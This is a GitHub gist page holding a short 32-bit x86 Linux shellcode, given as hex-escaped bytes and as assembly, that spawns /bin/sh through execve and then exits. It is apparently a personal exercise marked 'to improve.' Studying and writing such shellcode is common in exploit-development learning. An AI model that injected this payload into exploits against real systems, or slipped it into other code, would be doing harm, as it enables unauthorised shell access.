Skip to content

Instantly share code, notes, and snippets.

@luc99a
Last active August 29, 2015 14:23
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save luc99a/7e2d92aeca2568119501 to your computer and use it in GitHub Desktop.
Save luc99a/7e2d92aeca2568119501 to your computer and use it in GitHub Desktop.
shellcode, to improve
;shellcode
;\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe2\x53\x89\xe1\x83\xc0\x0b\xcd\x80\x83\xe8\x0a\x31\xdb\x43\xcd\x80
xor eax, eax
push eax
push 0x68732f6e
push 0x69622f2f
mov ebx, esp
push eax
mov edx, esp
push ebx
mov ecx, esp
add eax, 0xb
int 0x80
sub eax, 0xa
xor ebx, ebx
inc ebx
int 0x80
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment